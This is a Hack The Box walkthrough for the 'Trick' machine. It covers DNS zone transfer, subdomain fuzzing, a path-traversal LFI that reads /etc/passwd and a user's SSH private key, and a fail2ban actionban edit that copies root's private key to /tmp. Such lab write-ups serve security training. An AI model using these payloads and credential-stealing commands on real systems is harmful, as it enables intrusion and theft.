Walkthrough: Trick - Hack The Box
In this box, we enumerate a DNS server to find a subdomain. We then use the naming scheme from that subdomain to identify further subdomains. This leads us to a site with a Local File Inclusion vulnerability, which we exploit to obtain the SSH private key of a user. We the exploit fail2ban to escalate privileges.
Nmap
First, we’ll start by running nmap. We’re not under a time crunch here, so we’ll run a comprehensive scan using the -A
, and -p-
options. 10.10.11.166
was the IP address of the box when I completed it.
nmap -A -p- -T4 10.10.11.166
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-13 19:53 EDT
Nmap scan report for 10.10.11.166
Host is up (0.085s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
| 256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_ 256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open http nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Service Info: Host: debian.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 662.59 seconds
Foothold
There is a website attached to http://10.10.11.166, but it just appears to be a default template from bootstrap. Nothing interesting there. Instead, let’s take a look at the DNS server. If we run
nslookup
we can interact with the server (the lines that start with a >
are the ones where we’re inputting information)
> SERVER 10.10.11.166
Default server: 10.10.11.166
Address: 10.10.11.166#53
> 127.0.0.1
1.0.0.127.in-addr.arpa name = localhost.
> 10.10.11.166
166.11.10.10.in-addr.arpa name = trick.htb.
So now we can be pretty sure the domain we’re working with is trick.htb
. Add to trick.htb
to your /etc/hosts
hosts file by running
sudo nano /etc/hosts
and then adding this to the end of the file
10.10.11.166 trick.htb
Next we can try to do a zone transfer to get some more information. Run
dig axfr trick.htb @10.10.11.166
This is what comes back
; <<>> DiG 9.18.4-2-Debian <<>> axfr trick.htb @10.10.11.166
;; global options: +cmd
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; Query time: 307 msec
;; SERVER: 10.10.11.166#53(10.10.11.166) (TCP)
;; WHEN: Sun Sep 25 18:38:07 EDT 2022
;; XFR size: 6 records (messages 1, bytes 231)
From this, we can see that there is a subdomain called preprod-payroll.trick.htb
. There is a unique website tied to it, but first let’s see if we can find any additional sites first. Let’s search for other domains with that same preprod-
prefix. We’ll use ffuf
for this. Start by running
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: preprod-FUZZ.trick.htb" -u http://trick.htb
Note: you might need to install seclists
first and it might install the wordlists to a different directory than the one I have in the command above. Make sure to use the right path for your wordlists
After seeing a few results, we can stop ffuf
and filter out size=5480
, since that’s likely just the same trick.htb
site from earlier. Add -fs 5480
to the end of the command and start running it again.
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: preprod-FUZZ.trick.htb" -u http://trick.htb -fs 5480
once it’s all done, we should get something like this back
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://trick.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: preprod-FUZZ.trick.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 5480
________________________________________________
marketing [Status: 200, Size: 9660, Words: 3007, Lines: 179, Duration: 150ms]
:: Progress: [4989/4989] :: Job [1/1] :: 454 req/sec :: Duration: [0:00:12] :: Errors: 0 ::
Now we can add preprod-marketing.trick.htb
to our /etc/hosts
file right next to trick.htb
. The final line in that file should now look something like this
10.10.11.166 trick.htb preprod-marketing.trick.htb
User
Going to this site, we can see that index.php
is set up in an interesting way - when we click on the different sections of the page, it adds a parameter to the URL with the filename of the section it loads. This seems ripe for a Local File Inclusion (LFI) vulnerability. Let’s do some more fuzzing to see if one exists, and how we can exploit it. Start by running
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u "http://preprod-marketing.trick.htb/index.php?page=FUZZ"
Again, after seeing a few results, we can stop the command and filter out size=0
, like this
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u "http://preprod-marketing.trick.htb/index.php?page=FUZZ" -fs 0
Running that command should return something like this
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://preprod-marketing.trick.htb/index.php?page=FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 0
________________________________________________
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 84ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 84ms]
[...]
....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 133ms]
....//....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 133ms]
:: Progress: [920/920] :: Job [1/1] :: 430 req/sec :: Duration: [0:00:02] :: Errors: 0 ::
Based on the last line in these results, we can see that if we go if we go to http://preprod-marketing.trick.htb/index.php?page=….//….//….//etc/passwd, we actually get the /etc/passwd
file back. It looks all jumbled up, but if we right-click on the page and select view source
, It looks much nicer. Here it is
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
tss:x:105:111:TPM2 software stack,,,:/var/lib/tpm:/bin/false
dnsmasq:x:106:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:108:114:RealtimeKit,,,:/proc:/usr/sbin/nologin
pulse:x:109:118:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
speech-dispatcher:x:110:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:x:112:121::/var/lib/saned:/usr/sbin/nologin
colord:x:113:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:114:123::/var/lib/geoclue:/usr/sbin/nologin
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
Debian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:117:125:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:118:65534::/run/sshd:/usr/sbin/nologin
postfix:x:119:126::/var/spool/postfix:/usr/sbin/nologin
bind:x:120:128::/var/cache/bind:/usr/sbin/nologin
michael:x:1001:1001::/home/michael:/bin/bash
The only users with a shell are michael
and root
.
Let’s see if michael
has left their SSH private key on the server. We can check by going to http://preprod-marketing.trick.htb/index.php?page=….//….//….//home/michael/.ssh/id_rsa and hitting view source
again. Something like this should come back.
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAwI9YLFRKT6JFTSqPt2/+7mgg5HpSwzHZwu95Nqh1Gu4+9P+ohLtz
[...]
JkCbANS5fRVNVi0Lx+BSFyEKs2ThJqvlhnxBs43QxBX0j4BkqFUfuJ/YzySvfVNPtSb0XN
jsj51hLkyTIOBEVxNjDcPWOj5470u21X8qx2F3M4+YGGH+mka7P+VVfvJDZa67XNHzrxi+
IJhaN0D5bVMdjjFHAAAADW1pY2hhZWxAdHJpY2sBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
Now if we copy this and save it onto our machine (I just called it id_rsa
), we should be able to use it to log in.
First, we have to change the permissions on the key file
chmod 600 id_rsa
Then we can log in
ssh -i id_rsa [email protected]
From here, running
cat user.txt
gets us our first flag.
Root
Let’s start by running
sudo -l
Results:
Matching Defaults entries for michael on trick:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User michael may run the following commands on trick:
(root) NOPASSWD: /etc/init.d/fail2ban restart
So we now know we can restart the fail2ban
service. This is interesting.
Inspecting fail2ban
Let’s check out the fail2ban configuration:
cd /etc/fail2ban
ls -la
total 76
drwxr-xr-x 6 root root 4096 Sep 26 03:18 .
drwxr-xr-x 126 root root 12288 Sep 26 01:15 ..
drwxrwx--- 2 root security 4096 Sep 26 03:18 action.d
-rw-r--r-- 1 root root 2334 Sep 26 03:18 fail2ban.conf
drwxr-xr-x 2 root root 4096 Sep 26 03:18 fail2ban.d
drwxr-xr-x 3 root root 4096 Sep 26 03:18 filter.d
-rw-r--r-- 1 root root 22908 Sep 26 03:18 jail.conf
drwxr-xr-x 2 root root 4096 Sep 26 03:18 jail.d
-rw-r--r-- 1 root root 645 Sep 26 03:18 paths-arch.conf
-rw-r--r-- 1 root root 2827 Sep 26 03:18 paths-common.conf
-rw-r--r-- 1 root root 573 Sep 26 03:18 paths-debian.conf
-rw-r--r-- 1 root root 738 Sep 26 03:18 paths-opensuse.conf
Running groups
shows us that we are in fact part of the security
group, so we can write to the action.d
folder.
Now we’ll just peruse around the fail2ban
directory a bit. These are some interesting sections:
The jail.d
directory only has one jail in it, which is defaults_debian.conf
. The all that file has in it is this:
[sshd]
enabled = true
Looking through jail.conf
we can see that there are a bunch of defaults that are set. We can see that the default number of retries before a ban is 5 and the default ban actions are:
# Default banning action (e.g. iptables, iptables-new,
# iptables-multiport, shorewall, etc) It is used to define
# action_* variables. Can be overridden globally or per
# section within jail.local file
banaction = iptables-multiport
banaction_allports = iptables-allports
So, all we have to do is add any command that we want fail2ban to execute to one of those files and then trigger a ban.
Setting up and running the exploit
This box seems to overwrite all of the fail2ban files every minute or so, so we need to act fast to get all this to work. This means we need to do some setup. We’ll start with setting up our own copy of the iptables-multiport.conf
file
cd /tmp
cp /etc/fail2ban/action.d/iptables-multiport.conf .
nano /tmp/iptables-multiport.conf
We’ll repeat the same trick from earlier and try to get the root SSH private key. Add cat /root/.ssh/id_rsa > /tmp/test && chmod 777 /tmp/test
to the actionban
section, like this
[INCLUDES]
before = iptables-common.conf
[Definition]
# Option: actionstart
# Notes.: command executed once at the start of Fail2Ban.
# Values: CMD
#
actionstart = <iptables> -N f2b-<name>
<iptables> -A f2b-<name> -j <returntype>
<iptables> -I <chain> -p <protocol> -m multiport --dports <port> -j f2b-<name>
# Option: actionstop
# Notes.: command executed once at the end of Fail2Ban
# Values: CMD
#
actionstop = <iptables> -D <chain> -p <protocol> -m multiport --dports <port> -j f2b-<name>
<actionflush>
<iptables> -X f2b-<name>
# Option: actioncheck
# Notes.: command executed once before each actionban command
# Values: CMD
#
actioncheck = <iptables> -n -L <chain> | grep -q 'f2b-<name>[ \t]'
# Option: actionban
# Notes.: command executed when banning an IP. Take care that the
# command is executed with Fail2Ban user rights.
# Tags: See jail.conf(5) man page
# Values: CMD
#
actionban = cat /root/.ssh/id_rsa > /tmp/test && chmod 777 /tmp/test
<iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>
# Option: actionunban
# Notes.: command executed when unbanning an IP. Take care that the
# command is executed with Fail2Ban user rights.
# Tags: See jail.conf(5) man page
# Values: CMD
#
actionunban = <iptables> -D f2b-<name> -s <ip> -j <blocktype>
[Init]
Now we can overwrite the iptables-multiport.conf
file with our own and then restart the fail2ban service to have it load in our configuration.
rm /etc/fail2ban/action.d/iptables-multiport.conf -f
cp /tmp/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf
sudo /etc/init.d/fail2ban restart
Since the sshd
jail is the only one running, we need to fail ssh authentications to trigger it. To do this, just run the below 6 or 7 times on your local machine (just provide blank passwords to fail as quickly as possible):
Now i we run this in our SSH session
cat /tmp/test
we should get something like this back
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
[...]
7VT/uoy+BKbanLzM809KCnuLCM7LDISk4N/S79xiuFlrk11MrV2qaxZANiYEkOd1jKRGPi
UDRYRn2lPX7WiLyrGQAAAApyb290QHRyaWNrAQIDBAUGBw==
-----END OPENSSH PRIVATE KEY-----
Now just save this to your local machine (I called mine root_id_rsa
), run the same chmod
command as earlier, and log in using ssh and the private key, like this
ssh -i root_id_rsa [email protected]
now if you run
cat root.txt
you’ll get the root flag!